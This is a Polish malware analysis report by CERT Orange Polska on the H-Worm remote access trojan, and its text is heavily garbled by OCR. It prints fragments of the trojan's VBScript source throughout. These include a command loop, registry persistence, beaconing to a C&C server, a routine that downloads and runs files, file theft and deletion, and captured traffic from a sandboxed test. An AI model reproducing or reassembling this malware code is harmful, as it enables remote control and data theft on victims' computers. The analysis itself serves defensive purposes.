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W ostatnich dniach CERT Orange Polska wykryt w sieci klienckiej Orange Polska wzmozong aktywnos¢
jednej z odmian bardzo popularnego ztosliwego oprogramowania H-WORM Remote Access Tool (RAT).
W przypadku zainstalowania daje ono cyberprzestepcy petng kontrole nad zainfekowanym komputerem
uzytkownika, pozwalajac m.in. na dostep do jego plikdw, a takze doinstalowanie dodatkowych ztosliwych
modutéw. W sieci Orange Polska wykryto okoto tysigca zainfekowanych unikalnych uzytkownikéw, ktérzy
zostali poinformowani o tym fakcie dzieki CyberTarczy Orange. Komputery uzytkownikéw korzystajgcych
zsieci Orange Polska nawet w przypadku skutecznej infekcji sg bezpieczne — dopdki korzystajg
z dostarczanych przez nas ustug — poniewaz komunikacja zainfekowanych komputeréw z serwerami
cyberprzestepcow zostata zablokowana dzieki Cybertarczy Orange. Warto jednak zastosowad sie do
rekomendacji zamieszczonych na koricu opracowania, aby usungé ztosliwe oprogramowanie.

Opisywany malware w momencie analizy wykrywany byt przez 42 z 55 silnikdéw antywirusowych w serwisie
VirusTotal.
Wspdtczynnik

. 42 /585
wykrycia

Data analizy 2017-02-16 11:35:47 UTC { 0 minut temu )

Kod RAT’a zostat przeanalizowany przez CERT Orange Polska. przeprowadzono réwniez préby dziatania
w odizolowanym od internetu Srodowisku systemowym, by mdc doktadnie przedstawi¢ jego ztosliwe
funkcje wraz z odpowiedzialnymi za nie fragmentami kodu. Na potrzeby analizy zostato zasymulowane
dziatanie serwera Command & Control.

Autorem ztosliwego oprogramowania jest Houdini aka Mohamed Benabdellah, pochodzacy z Algierii.
Malware rozpowszechniany jest gtdwnie za pomocg zatgcznikdow e-mail, badz innych instancji ztosliwego
oprogramowania obecnych juz na komputerach ofiar. Analizowana prébka napisana zostafa
w VisualBasic’u, istnieje rowniez jej wersja o nazwie ,,Underworld” w jezyku Autoit. Autor czesto zaciemnia
sekcje kodu malware’u (by utrudni¢ analize, badZz zmniejszy¢ wykrywalnosé przez antywirusy) algorytmem
Baseb64, ktory jednak mozna w prosty sposéb zdekodowacd.

W zaleznosci od kampanii H-Worma oszacowano, iz jego rézne probki usitujg sie faczyé z ponad 150
serwerami Command&Control (dalej nazywane C&C) przy uzyciu innych numerdw portéw niz port TCP/80.
Analizowana kampania nie byta celowana w konkretne grupy uzytkownikéw — jej celem sg zaréwno klienci
biznesowi réznych branz, jak i uzytkownicy domowi. Analizowany kod nie jest typowym robakiem
internetowym, malware posiada bowiem cechy klasycznych trojanéw z mozliwosciami zdalnego dostepu
do komputera uzytkownika. Ponizszy zrzut ekranu to sekcja kodu ztosliwego oprogramowania, ktéra
posiadata zdefiniowany adres serwera C&C cyberprzestepcy wraz z numerem portu, na ktérym
komunikowat sie wirus oraz informacje do jakiego katalogu ma by¢ przeniesiony po uruchomieniu.
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P([ recoder : houdini (c) skype : houdini-fx 1>

config =—=-=-=-=—=-—=-=-=-=—=—=-=-=-=

rost -~ . o

port = 80

installdir = "$temp%”
lnkfile = true
Inkfolder = trus

public var =-=-=-=-=-=-=-=-=—=-=-=-=

dim shellobj

set shellcbj = wscript.creatscbject(
dim filesystemobj

set filesystemobj = createobject("scripting.filesystemobject™)
dim httpobj

set httpobj = createcbject("msxmlZ.xmlhttp™)

pt.shel

=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup”) & "\"
installdir = shellcbj.expandenvironmentstrings(installdir) & "\"

if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("$temp:”) & "\"
spliter = "<" & "|" & ">"

sleep = 5000
dim response
dim cmd

dim param

info = ™"
usbspreading = "
startdate = ""
dim oneonce

Kolejny fragment kodu przedstawia odwotania do wszystkich funkcji wirusa opisanych szczegdétowo w
dalszej czesci dokumentu.

hhile true
install
response = "7
response = post ("is-rea
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
T param = cmd (1)
exXecute param
case "update”
param = cmd (1)
oneonce.close
set oneonce = filesystemob]j.opentextfile (installdir & installname ,2, false)
oneonce.write param
oneonce.close
shellobj.run "wscript.exe //EBE " & chr(34) & installdir & installname & chr({34)
wscript.guit

%case "uninstall"™
uninstall
%case "send"
download cmd (1),cmd (2)
%case "site-send"
zitedownloader cmd (1) ,cmd (2)

case "recv"
param = cmd (1)

upload (param)
%case "enum-driver"”

post "1 1 ver" enumdriver
Tcase "enum-faf"

ym,my

param = cmd (1)

post "is-enum-faf" ,enumfaf (param)
% case "enum-p EEM

post "1

Tcase "cmd-she
post "1

case "delete"
param = cmd (1)
deletefaf (param)

Tcase "exit-process"”

cess" , enumprocess

param = cmd (1)
exitprocess (param)
case "sleep”
param = cmd (1)
sleep = eval (param)
end select
wscript.sleep sleep
wend

CERT Orange Polska Analiza Malware H-Worm; Autor: Iwo Graj Strona 3z 17



orange’

CERT Orange Polska S.A.

Nastepna ilustracja to fragment kodu odpowiedzialnego za instalacje ztosliwego oprogramowania

W rejestrze systemowym oraz za dopisanie kluczy, dzieki ktérym

systemu.

sub upstart ()
on error resume Next

shellobj.regwrite "
shellobj.regurite "

fileaysterchi.copyfile wacrip

.scriptfullname,installdir & installname,true

filesystemob].copyfile wscript.scriptfullname,startup & installname ,true

end sub

& split (installname,”.
* & split (installname,”

o,
") (o),

W naszym przypadku wirus tworzony byt w lokalizacji dysku

C:\Uzytkownicy\Nazwa_uzytkownika\AppData\Local\Temp\

w pliku 0 nazwie vti-rescan.vbs

" & chrw(34) & installdir & installname & chrw(34) ,
& chrw(34) & installdir & installname & chrw(34) ,

wirus uruchamia sie przy kazdym starcie

A Edytor rejestru
Piik Edycja Widok Ulubione Pomoc
> ). Group Policy Nazwa Dane
b-iy HomeGroup ] {Domyéins) | REG_SZ (wartos¢ nie ustalona)
z . ;:;:met Settings 28] vti-rescan REG_SZ wscript.exe //B "C:\Users\IWOGRA~1\AppData\Local\ Temp\uti-rescanavbs” |
> mcT
NetCache
Policies
RADAR
Run
RunOnce
> ). Screensavers
> ). Shell Bxtensions
b )L Sidebar
> ). Telephony
ThemeManager
> )l Themes
b L WinTrust
| DWM
b Ll Shel L
> )l TabletPC
- 4\ Windows Error Reporting
- )4 Windows Mail
- )\ Windows Media
b )\ Windows NT
- 1! Windows Script Host
- )} Windows Search
> )\ Windows Sidebar
-0 Wisp
> ! Policies
> )L Wireshark E
4 ), System
> )\ CurrentControlSet s
P /_CURRENT
- . . -
@le . v Komputer » Dysklokalny (C) » Uszytkownicy » Iwo Graj » AppData » Local » Temp » I - ‘ 4y | | Przeszukaj: Temp Pl
Organizuj = . Otworz ~ Udostepnij = Drukuj Nowy folder ~ @
- Nazwa : Data modyfikegji  Typ Rozmiar
] Ostatnie micjsca | Low 2017-02-151125  Folder plikéw
& Pobrane . WPDNSE 2017-02-1510:21 Folder plikéw
B Pulpit || ~DFEEAR3101A242BE34.TMP 2017-02-1511:25 Plik TMP 1KB
|| ~DF8F3BABFI81558B9D. TMP 2017-02-1511:46 Plik TMP 16 KB
= Biblioteki || ~DF10B5150C91F80C16.TMP 2017-02-1511:25 Plik TMP 16 KB
@ Dokumenty | ~DF305ECOE7FBI8B509.TMP 2017-02-1511:25 Plik TMP 32KB
J’ Muzyka || ~DF2332EDATDFT7510C.TMP 2017-02-1511:25 Plik TMP 32K8B
(&5 Obrazy || ~DF26644D2EF1054622.TMP 2017-02-1511:25 Plik TMP 1KB
E Wideo || ~DFAGFF2E4BABFAESIF3.TMP 2017-02-1511:25 Plik TMP 0KB
|| ~DFES72COA1AFFI36B3.TMP 2017-02-1511:25 Plik TMP 1KB
o Grupa domowa || FXSAPIDebugLogFile 201702151010 Dokument tekstowy 0Ke
|| Iwo Graj 2017-02-1510:10 Obraz — mapa bit... 32KE
1 Komputer i notepad++ 2017-02-15 11:47 Skrét 2KB
2017-02-14 23:28  Plik skryptu w jezy... 14 k8|
ih Siec s wireshark_02827132-FE76-451C-BA7C-B0...  2017-02-1510:31 Wireshark capture... 58 KB
| wmsetup 2017-02-1510:10 Dokument tekstowy 1KB

wvti-rescan

Plik skryptu w jezyku VBScript

Data modyfikagji: 2017-02-14 23:28

Rozmiar: 13,9 KB

Data utworzenia: 2017-02-15 10:27
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Kolejny fragment kodu wirusa sprawdza typ i wersje systemu operacyjnego na zainfekowanym

komputerze oraz obecnos¢ oprogramowania antywirusowego.

function security
On Error resume Next

security = ""

%:‘cr each objitem in colitems
versionatr = split (ocbjitem.wversion,”.")
Next
versionstr = split (colitems.wversion,”.")
ogversion = versionstr (0) & "."
%:‘cr X =1 to ubound (wversionstr)
o3version = osversicn & vwersionstr (1)

next
gcgversion = eval (osversion)
if osversion > 6 then sc = "securitycenteri”™ elsge sc = "security "

zet objsecuritycenter =
Set coclantivirus = gbjsecuritycenter.execguery(’selec

%:‘cr each ckbjantivirus in colantivirus
security = 3gecurity & cbjantivirus.displayname & "
next
if security = "" then security = "nan-av
end functicn

Odnalezione informacje przekazywane sg do serwera C&C metodg ,,HTTP POST”. Wsréd nich znajduja sie

nazwa komputera, nazwa uzytkownika, informacja o systemie operacyjnym oraz informacja

0 oprogramowaniu antywirusowym (w przypadku jego braku zwracana jest wartos¢ ,nan-av”)

I:Eunction poat (cmd ,param)

po3t = param
httpobj.open "post”, "hitr
httpob].setrequestheader
httpob].send param

post = httpob].responsetext
end function

S/" & host & ":" & port &7/ & cmd, false
nser-agent:”,information

function information
CIL Error resume next
Elif inf = "" then
inf = hwid & spliter
inf = inf & shellcobkb].expandenvironmentstrings(“3c
inf = inf & shellcobk].expandenvironmentstrings("iu

3et root = getobject("wi

3et 03 = root.execquery ("select

= for each oginfo in os
inf = inf & osinfo.caption & spliter
= exit fer
next

inf = inf & "plus" & spliter
inf = inf & security & spliter
inf = inf & usbspreading

= information = inf

LT—J_EISE
information = inf
end if
end function
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Zainfekowana maszyna wysytata do C&C informacje o statusie ,,online” i oczekiwaniu na polecenia od C&C:
User-Agent: 4CFA107B<|>CERT-ORANGE<[>Iwo Graj<[>Microsoft Windows 7 Enterprise<|>plus<|>nan-

av<[>false — 2017-2015

M Wireshask - Pakiet 198 . wireshark 1827132-FEP6-451C-B47C-BODEDFC30MA8_20170215102613_aD2802

window size value: 64240

[Calculated window size: 64240]

[window size scaling factor: -2 (no window scaling used))
Checksum: xas6b [unverified]

[Checksun Status: Unverified]

Urgent peinter: @

(SEQ/ACK_anal

Transfer Brotocol
POST /is-ready HTTE/1.1\rin
Accept: */*Arin
Rccept-Language: plirin
Ser-Agent: ACFALOTB<|SCEAT -ORMNGE[>Two Grajc|Sicrosott windows 7 Enterprise <[>plus<[nan-ave|>false - zol7-e2-1swin ]
Accept-Encoding: gzip, detlatevrin
I

Host: com\r\n
4 content-Length: @vria
[content length: @]
Connection: keep-alive\rin
Cache-Control: no-cache\rin
wrin
[Full reguest URI: http:/
[HTTP reguest 1/1]

5254 00 12 35 82 @B @0 17 62 Gc 71 @3 62 45 €@  RI..
81 57 81 Bb 48 B0 58 86 0 03 Ba 0@ 82 6F dd a8 W,
63 72 cB 53 88 50 45 fc Ba 11 @8 ac b4 82 56 18 cr.
fa #6 45 6b 08 80 S 4f 53 54 20 2f 69 73 24 72
65 6L 64 79 20 45 54 54 50 2f 31 26 31 od 23 41
62 63 €5 78 74 3a 26 2a 2T 2a ©d @a 41 €3 63 65
70 74 24 dc 61 e 67 75 61 67 65 3a 20 70 6c od
@3 55 73 65 72 2d 41 67 65 68 74 33 20 34 43 46
41 31 38 37 42 3c 7c Je 43 25 52 54 2d 4f 52 41
4e 47 45 3c 7c 3e 49 77 6F 20 47 72 61 6a 3¢ Tc
32 4d 69 63 72 6T 73 6T 66 74 20 57 69 6 64 6F
77 73 20 37 28 45 6e 74 65 72 78 72 69 73 65 28
3¢ 7c 3e 70 6c 75 73 3¢ 7c 3e e 61 6e 2d 61 76
3c 7c 3e 66 61 6¢ 73 65 20 2d 20 32 30 31 37 2d
38 32 2d 31 35 8d 6a 41 63 63 65 78 74 2d 45 6e

k. PO ST/
eady HTT P/L.L..A
ccept: * /7. .Acce
pt-Langu sge: pl.
LUser-ag ent: 4CF
£1078<| > CERT-ORA
use< 37w o Graje|
bicroso fr windo
s 7 Ent erprise
<] 3pluz< |3nan-au
<|>false - 2007-
o215, .4 ccept-£n

Oto fragment kodu odpowiedzialny za wylistowanie uruchomionych
i oprogramowania aktywnego w systemie operacyjnym uzytkownika

functiocn enumprocess ()
ON Error resume Next

set objwmiservice = getobject("winmgmts:i’. .
set colitems =

Z_process"”,  48)
dim ckjitem
for each cobjitem in colitems
enuUmprocess = enumprocess & cbjitem.name & |7
SnUEprocess = enumprocess & cbjitem.processid & |7
enumprocess = enumprocess & chjitem.executablepath & spliter
next
end function

sub exitprocess (pid)
ON Errcr resume next

shellobj.run "tas
end sub

" & pid,7,true
suk deletefaf (url)
ON error resuls Next

filesystemck].deletefile url
filesystemck].deletefolder url

end sub
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oraz wynik otrzymany po wydaniu polecania o informacje nt. proceséw dziatajgcych podczas analizy.

- T o =]

Request Hethod
Request URT: /:
Re

rum-process
R HTTP/1.L

n frame:
File Data: 975 bytes
4 Data (975 bytes)

Data:
[Length: 375]

Frame (1038 bytes) | Arosaembied TCP (1287 bytes)

i 5 - T 190 sore5y [ TR TS D T804 o YT Lo 159 I PO e R

Kolejny fragment kodu odpowiedzialny jest za enumeracje, tj. odczytanie przez cyberprzestepce
zawartos$ci dowolnego katalogu lub dysku na zainfekowanym komputerze.

function enumdriver ()

for each drive in filesystemok].drives
%if drive.isready = true then
enumdriver = enumdriver & drive.path & "|" & driwve.driwvetype & spliter
end if
next
end Functicn

functicn enumfaf (enumdir)
enumfaf = enumdir & spliter
for each folder in filesystemob].getfolder (enumdir).subfolders

enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next

for each file in filesystemob].getfolder (enumdir).files
enumfaf = enumfaf & file.name & "|" & file.gize & "|" & "I" & "|" & file.attributes & spliter

next
end functicn
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Wylistowana zawartos¢ Pulpitu uzytkownika:

- = 151 18.06.2.15 18.8.2.4 HTTP 214 POST Jis-enum-tat HITP/L1.1
705 739. 285105 159.5.2.% 15.9.2. 1% TCP TX o0 » SB/0%F [ACK] Seq-1 Rck=269 Win=65536 Len=@
9796 739.434635 18.9.2.4 1@.8.2.15 TCP 138 [TCP segment of a reassembled PDU]
- 9797 739.434764 10.8.2.4 16.8.2.15 HTTP 54 HTTP/1.1 288 0K
9798 739.435012 10.9.2.15 10.0.2.4 TCP 60 50794 > 88 [ACK] Seq=469 Ack=86 Win=65616 Len=9
9799 739.435239 10.8.2.15 10.8.2.4 TCP 6@ 58794 = 88 [FIN, ACK] Seq=269 Ack=86 Win=65616 Len=8
- 03@ee 739.435265 18.08.2.4 18.8.2.15 TCP 54 88 = 58794 [ACK] Seq=86 Ack=478 Win=65536 Len=8
988l 739.744897 10.08.2.15 18.8.2.4 TCP 66 58795 = 88 [SYN] Seq=0 Win=8192 Len=0 M55=146@ WS=4 SACK_PERM=1
9882 739.744145 16.8.2.4 16.8.2.15 TCP 66 BB = 58795 [SYN, ACK] Seq=8 Ack=1 Win=3192 Len=@ M55=146@ W5=256 SACK_PERM=1
9883 739.744414 10.8.2.15 10.6.2.4 TCP 60 58795 = 88 [ACK] Seq=1 Ack=1 Win=6578@ Len=0
9884 739.744732 10.8.2.15 10.8.2.4 HTTP 357 POST /is-ready HTTP/1.1

* POST /is-enum-faf HTTP/1.1\r\n
Accept: */*\r\n
Accept-Language: pl\rin

User-Agent: 4CFA187B<|>CERT-ORANGE<|>Iwoc Graj<|>Microsoft Windows 7 Enterprise <|>plus<|»nan-av<|>false - 2817-82-15\r\n

Accept-Encoding: gzip, deflate\ri\n
tost: [N ccm\r\n
Content-Length: 16@\r\n
Connection: Keep-Alivel\rin
Cache-Control: no-cache\r\n

\rin

@8 8@ 27 8e 61 b4 @8 8@ 27 62 8c 71 92 00 45 00 we'eB... "b.g..E.
@0 c3 21 41 46 @2 30 06 @ dc Ga e@ @2 @f @a el .. lA@... ........
82 B4 c6 6a 8@ 58 dB 49 96 12 5a 94 81 S5c 56 18 LLZLUAPL
48 29 dc B2 @@ 8@ 43 3a 5c 55 73 65 72 73 5c 49 : \Users\I
77 6f 20 47 72 61 Ga 5c 44 65 73 6b 74 6T 7@ S5c Desktoph
3c 7c 3e 63 63 63 7c 7c 64 7c 31 36 3c 7c 3e 54 d|16<|>T
45 53 54 7c¢ Jc B4 7c 31 36 3c 7c 3e 64 65 73 Gb 6<|>desk
74 6F 78 2e 69 6e 69 7c 32 38 32 7c 66 7c 33 38 282|f|38
3c 7c 3e 78 75 74 74 79 2e 65 78 65 7c 35 33 31 .exe|531
33 36 38 7c 66 7c 33 32 3c 7c 3e 54 65 73 74 2d <|>Test-
73 63 69 61 67 61 6e 69 61 2d 7@ 6c 69 6b 75 2d i a-pliku-
7a 61 69 6e 66 65 Bb BFf 77 61 6e B5 67 6T 2d 6b wanego-k
6f 6d 78 75 74 65 72 61 2e 74 78 74 TFc 3@ 7c 66 .t)('t|ﬁ|f
7c 33 32 3c Tc 3e

oraz fragment kodu odpowiedzialny za uruchamianie dowolnego pliku z internetu na komputerze ofiary:

sub sitedownloader (fileurl,filename)

strlink = fileurl

strzavetos = installdir & filename

set objhttpdownload = createchject ("msxmlZ.xzm
cbjhttpdownload.open "get", strlink, false
cbkjhttpdownload. send

")

get objfsodownload = createckject ("scripting.

if obkjfscdownload.fileexists (strsaveto) then
cbjfscdownload.deletefile (strsaveto)

end if

lesystemobject™)

if gbjhttpdownleoad.status = 200 then
dim objstreamdownlcoad
3et objstreamdownload = createcbject("adodb.stream”)
with cbjstreamdownload
type = 1
.Open
.wWrite ckbjhttpdownload.responsebody
.3avetofile straaveto
.close
end with
3et cbjstreamdownlocad = nothing
end if
if objfscdownload.fileexists(straaveto) then
shellckj.run ckbjfscdownload.getfile (strsaveto).shortpath
end if
end subk

sub download (fileurl,filedir)

if filedir = "" then
filedir = installdir
end if
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Dla zilustrowania tej funkcji wydano rozkaz otworzenia pliku graficznego, ktory otworzyt sie na pulpicie
zainfekowanego uzytkownika.

Ml Wireshark - Pakict 20708 - wireshark_02827132- FET6-451C-BA7C-BODEDFCID4AB_20170215131448_a00780 = ==

4+ Hypertext Transfer Protocol B
4 HTTP/1.1 200 OK\r\n
4 [Expert Info (Chat/Sequence): HTTP/1.1 280 OK\r\n]
[HTTP/1.1 200 OK\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Version: HTTP/1.1
Status Codes 200
Response Phrase: OK
Connection: close\rin
Content-Type: text/htnlirin
4 Content-Length: 162\r\n
[Content length: 162]
Server: Indy/9.8.18\r\n
\rin
[HTTP response 1/1]
nce request: 0.827215800 seconds] i

4 Line-based text data: text/html |
site-send<|>https:/ /wwi. cybsecurity. org/wp-content/uploads/2616/03/Screen -Shot - 2016-03-10-3t-00. 35.42-300x183 . png< | >Screen-Shot -2016-63-18-at -09 . 36 .42-360x183 . png

62 73 65 63 75 72 69 74 79 2e 6F 72 67 2F 77 70 [BiEcurit y.orE/p
24 63 6 Ge 74 65 6e 74 2f 75 70 6¢ 6f 61 64 73 |-content /uploads
2f 32 30 31 36 2f 30 33 2f 53 63 72 65 65 6e 2d |/2016/83 /Screen-
53 65 6F 74 2d 32 30 31 36 2d 30 33 2d 31 30 2d [Shot-201 6-03-10-
6174 2d 30 39 2 33 36 2e 34 32 24 33 30 30 73 [at-89.36 .42-300x
3138 33 2e 70 6e 67 3c 7c 3e 53 63 72 65 65 6e  [183.png< |>Screen
2d 53 68 6f 74 2d 32 38 31 36 2d 30 33 2d 31 38 |-Shot-20 16-83-10 F
2d 61 74 24 30 39 2e 33 36 2e 34 32 24 33 30 30 |-at-09.3 6.42-300
78 31 38 33 22 70 6e 67 x183.png

Frame (216 bytes) | Resssembled TCP (267 bytes)

No.: 20708 - Time: 4550614309 - Source: 10.0.2.4 - D

10.0.2.15 - Prtocol KT - Langths 226 - Info: HTTP/1.1 200 OK fextem)

Pomoc

T 7 T
[Time since request: ©.027215000 seconds]
Request in frame: 20706]

4 Line-based text data: text/htnl |
| site-send<|>https: //ww.cybsecurity org/wp-content/uploads,/2016/83/Screen-Shot-216-63-10-at-89.36.42-386x183 . png< | >Screen-Shot-2016-03-10-at-89. 36. 42-368x183. png

@ 7 HTTP Request HTTP-Version (http.request.version), 8 bajtdw Pakietow: 20837 - Wysnietianych: 20837 (100.0%)

Efektem jest wyswietlenie pliku graficznego z powyzszego widocznego w komunikacji sieciowej adresu
internetowego.

j =] SCREEN-~1 - Przegladarka fotografii systemu Windows

Plik v Drukyj ¥ Pocztae-mail Nagrsj ¥ Otwér

Raport CERT

Orange Polska
za rok 2015
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Przy uzyciu udostepnianej przez malware funkcji wykonywania polecen z linii polecen systemu Windows
uruchomiony zostat program Paint:

0 Preechuytod g eeshar Pakit 31 ik 02527132-FET6-451C-BATC-EODEDFC30448 201 0215131448 w0070 = e 5|

Akcja sie powiodta, na pulpicie ofiary pojawia sie okienko Painta.
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Wirus pozwala rowniez na wystanie pliku na komputer ofiary i zdalne jego uruchomienie:

Ml Wineshark . Pakiet 67 - wireshark 02827132-FEP6-451C-B4TC-BIDEDFCIDAS_20170215150454_a03204 = | -= ]

face @
(86:00:27:8e:61:b4)

es captured
2:8c:71), Dst: P
t: 10.0.2.4

89, Dst Port: 89, Seq: 1, Ack; 1, len; 377

Frane 67: 431 bytes on wire (3448 bit

[« Hypertext Transfer Protocol
POST /is-sendingKICKICHIEC: /Uisers/ IncA28Graj/Desktop/putty. exe HTTR/L.14r\n

7.0; Windows WT 6.1 Trident/a.0; SLCC2; MET CLR 2.8.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Medis Center PC 6.8)\r\n

gk CIE Usars /TeoNaecral/Deskioolputty exe] |

T T T T |

Zamiry Pomac.

Wynikiem jest uruchomienie pliku , putty.exe” na komputerze ofiary

#3 PuTTY Configuration

Category:
5~ Session Basic options for your PUTTY session
Logging

Specify the destination you wart to connect to

- Teminal ’
T pboard Host Name (or P address) Port
o 2
Features Connection type
- Window Raw () Teinet ©)Rogn © SSH () Seral
é‘mamm Load, save or delete  stored session
-~ Behaviour
. Transiation Saved Sessions
Selection
Colours Default Setings [ toad |
- Connection -
Data [ Save
-Prawy

| Delete

Close window on ext:
Aiways Never @) Only on clean ext

Two Graj » BEAIE 3 )
tece v Udostepnij v Nowy folder =~ [ ®
B wideo “ Nezwa ’ Data modyfikacii  Typ b
& Kental Folder plikéu
#d Grupa domowa = & C
B tacza der p
3 Moja muzyka Folder pliks
18 Komputer [ =il !
Moje dokumenty Folder pliks
G Sier a4 i - C

T []
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Co gorsza, przy wykorzystaniu opisywanego malware’u cyberprzestepca moze doprowadzi¢ do

uruchomienia dowolnego skryptu visualbasic.

test-uruchomienia-skryptu-visualbasic-na-zainfekowanym-komputerze.vbs:

Ponizej

przyktad zdalnego

uruchomienia pliku

M Wireshari - Pakiet 14190 . wireshark, 03827173-FET6-451C-B47C-BIDEDFCIDAAR 2017021513148 200780

4 Tra

1 Protocol, Src Port: 51341, Dst Port: 80, Seq: 1, Ack: 1, Len: 437
1

CERT ORANGE POLSKA

TEST URUCHOMIEMIA SKRYPTU VisualBasic - Podczas Analizy H-WORM RAT! -

CERT Orange Polska Analiza Malware H-Worm; Autor: Iwo Graj

&) empuic » )
Organizuj = Umiesé w bibliotece = Nowy folder - [ Q
§ Dokumenty |~ Folder systemowy R
o Muzyka =
Grupa domowa 3
=] Obrazy "‘3 Folder systemowy
B wideo E
Two Graj
r-a Grupa domowa -2 Folder systemou
= - oG "
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H-Worm pozwala réwniez na przestanie do C&C dowolnego pliku z dysku uzytkownika:

sub download (fileurl,filedir)

if filedir = "" then
filedir = installdir
end if
strsaveto = filedir & mid (fileurl, instrrev (fileurl,”\™) + 1)

set cbjhttpdownload = createobject ("msxmlZ. xmlhttp™)

objhttpdownload.open st","http://" & host & ":" & port &"/" & "ils-sending"” & spliter & fileurl, false
%objhttpdownload.send
set cbjfscdownload = createcbject ("scripting.filesystemobiesct™)

%if objfsodownload.fileexists (strsaveto) then
objfsodownload.deletefile (strsaveto)
end if
if objhttpdownload.status = 200 then
dim objstreamdownload

set objstreamdownload = createobiject ("zadodb.stream”)
with objstreamdownload

.type = 1

.open

.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set cbjstreamdownload = nothing
end if
%if objfsodownload.fileexists(strsaveto) then
shellobj.run cobjfsodownload.getfile (strsaveto) .shortpath
end if
end sub

Wynikiem  wydania polecenia z C&C bylo pobranie pliku tekstowego o nazwie
Test-sciagania-pliku-zainfekowanego-komputera.txt z Pulpitu zainfekowanego uzytkownika. Komunikacja
sieciowa przebiegta poprawnie, a wskazany plik zostat skopiowany do cyberprzestepcy.

» Transmission Control Protocol, Src Port: 4986@, Dst Port: 88, Seq: 1, Ack: 1, Len: 417
4 Hypertext Transfer Protocol
[ POST /is-recving®3CR7CRIEC: /Users/ Iwo%20Graj/Desktop/Test-sciagania-pliku-zainickowanego-komputera. txt HTTP/1.1vrin |
Accept: */*\r\n
Accept-Encoding: gzip, deflate\rin
User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2; .MET CLR 2.8.58727; .NET CLR 3.5.3@8729; .NET CLR 3.8.38729; Media Center PC 6.8)\r\n
Host : N\
Content-Length: 8\r\n
Connection: Keep-Alive\r\n
Cache-Control: no-cachel\rin

Ar\n
I Full request URI: httE:£é_£is-recvinz%3[%7[%3t§[: Users/Iwo%2@Graj/Desktop/Test-sciagania-pliku-zainfekowanego-komputera.txt] |

[HTTP request 1/1]
Response in frame: 1832

G6a 2f 44 65 73 6b 74 6f 7@ 2f 54 65 73 74 2d aj/Deskt op/Test-
63 69 61 67 61 62 69 61 2d 7@ 6c 69 6b 75 2d |sciagani a-pliku-
61 69 6e 66 65 6b 6F 77 61 6Ge 65 67 6 2d 6b zainfeko wanego-k
6d 78 75 74 65 72 61 2e 74 78 74 2@ 48 54 54 omputera .txt HTT
2f 31 2e 31 8d @a 41 63 63 65 7@ 74 3a 20 2a P/l.1..A ccept: *
2a Bd @a 41 63 63 65 7@ 74 2d 45 6e 63 6T 64 /*..Acce pt-Encod
6e 67 3a 20 67 7a 69 7@ 2c 20 64 65 66 6c 61 |ing: gzi p, defls
65 @d @a 55 73 65 72 2d 41 67 65 Ge 74 3a 20 te..User -Agent:

6f 7a 69 6c 6c 61 2f 34 2e 38 20 28 63 6T 6d Mozilla/ 4.9 (com
61 74 69 62 6c 65 3b 2@ 4d 53 49 45 28 37 2e patible; MSIE 7.
3b 28 57 69 62 B4 6F 77 73 20 4e 54 20 36 2e @; Windo ws NT 6.
3b 28 54 72 63 64 65 6e 74 2f 34 2e 3@ 3b 20 1; Tride nt/4.8;

4c 43 43 32 3b 2@ 2e 42 45 54 20 43 4c 52 20 SLCC2; . NET CLR

2e 3@ 2e 35 3@ 37 32 37 3b 20 2e 4e 45 54 20 2.8.5@72 7; .MNET

4c 52 28 33 2e 35 2e 33 3@ 37 32 39 3b 28 2e CLR 3.5. 38729; .
45 54 28 43 4c 52 28 33 2e 38 2e 33 3@ 37 32 NET CLR 3.8.3872
3b 28 4d 65 64 69 61 2@ 43 65 6e 74 65 72 20 9; Media Center
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Pobierany plik tekstowy w lokalizacji Pulpitu uzytkownika

,Test-sciagania-pliku-zainfekowanego-komputera.txt”:

Kolejna funkcja w kodzie odpowiedzialna jest za usuwanie plikéw z komputera uzytkownika:

sub deletefaf (url)
on error resume next

filesystemobj.deletefile url
filesystemobj.deletefolder url

end sub
Po wydaniu polecenia z Command Control, do ktérego odpytywat sie zainfekowany komputer:
delete<[>C:\Users\Iwo Graj\Desktop\putty.exe

z Pulpitu zainfekowanego uzytkownika zostat usuniety plik ,,putty.exe”.
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Komunikacja zainfekowanego komputera z zadaniem usuniecia pliku ,, putty.exe”:

* Frame 19566: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface 8
* Ethernet II, Src: PcsCompu_8e:6l:b4 (88:88:27:8e:61:b4), Dst: PcsCompu_62:8c:71 (@88:80:27:62:8c:71)
: Internet Protocol Version 4, Src: 18.8.2.4, Dst: 18.8.2.15
© Transmission Control Protocol, Src Port: 8@, Dst Port: 51958, Seq: 185, Ack: 384, Len: 44
[2 Reassembled TCP Segments (148 bytes): #19565(184), #19566(44)]
4 Hypertext Transfer Protocol
- HTTP/1.1 288 OK\r\n
Connection: clese\rin
Content-Type: text/html\rin
» Content-Length: 44\r\n
Server: Indy/9.8.18\r\n
rin
[HTTP response 1/1]
[Time since request: @.8@3478088 seconds]
[Request in frame: 19564]
File Data: 44 bvie
IJ Line-based text data: text/html I
exe

delete<|>C:\Users\Iwce Graj\Desktop\putty.

P8 @@ 27 62 Bc 71 @8 @@ 27 Be 61 b4 @3 86 45 B0 .. 'b.gq.. ".a...E.
@8 54 2d 69 48 9P 20 G5 00 OO Bz B0 62 B4 Ba B0 T—iﬂ

@2 @f @@ 50 ca ee 3c f9 ac 2e 72 6f 51 fe 5@ 19 vauPua. LuroQlLP.
81 2@ 15 59 88 88 64 65 6c 65 74 65 3c Vc 3e 43 R Y 1= lete<|>C

3a 5c 55 73 65 72 73 5c 49 77 6f 28 47 72 6l 6a t\Usersy Iwc Graj
S5c 44 65 73 6b 74 6Ff 78 S5c 7@ 75 74 74 79 2e 65 “Desktop \putty.e
78 65 we
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orange’

Wirus zawierat réwniez funkcje samo-odinstalowania, wtgcznie z usunieciem wpiséw w rejestrze oraz

wszystkich lokalizacji w zainfekowanym systemie.

sub uninstall

0N 8rror resume next
dim filename

dim foldername

shellobki.regdelete
shellobk].regdelete LT

ionhrunt” & aplit (installname,”. ") {0)
